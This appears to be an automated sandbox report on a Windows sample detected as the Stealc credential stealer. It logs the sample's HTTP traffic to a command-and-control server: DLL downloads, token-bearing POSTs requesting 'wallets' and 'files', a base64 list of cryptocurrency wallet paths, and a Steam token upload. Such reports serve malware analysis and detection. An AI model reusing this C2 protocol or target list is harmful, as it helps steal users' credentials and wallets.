22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 11:18:28.451411963 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:29.002921104 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 11:18:29.370628119 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:29.601922989 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 11:18:31.333015919 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:31.564199924 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 11:18:32.103452921 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:32.334270000 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 11:18:32.883843899 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 11:18:33.618408918 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:33.662710905 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"wallets------EHDHIDAEHCFHJJJJECAA--
Oct 8, 2024 11:18:33.906697989 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:33 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 11:18:33.909039021 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"files------DGDBFBFCBFBKECAAKJKF--
Oct 8, 2024 11:18:34.359476089 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:34.361795902 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:34.374949932 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"------GDHDHJEBGHJKFIECBGCB--
Oct 8, 2024 11:18:35.100323915 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:35.123080969 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="message"ybncbhylepme------AEGHJEGIEBFIJJKFIIIJ--
Oct 8, 2024 11:18:35.360572100 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:35 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 8, 2024 11:18:35.362755060 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJEGHDAECBFHJKEGIJK--
Oct 8, 2024 11:18:36.102624893 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:18:13
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	1'865'216 bytes
MD5 hash:	F3ACE806EB44F5DF3EAAA6BC01B76A71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2145141255.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00EF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,017507E0), ref: 00EF98A1
GetProcAddress.KERNEL32(75900000,01750810), ref: 00EF98BA
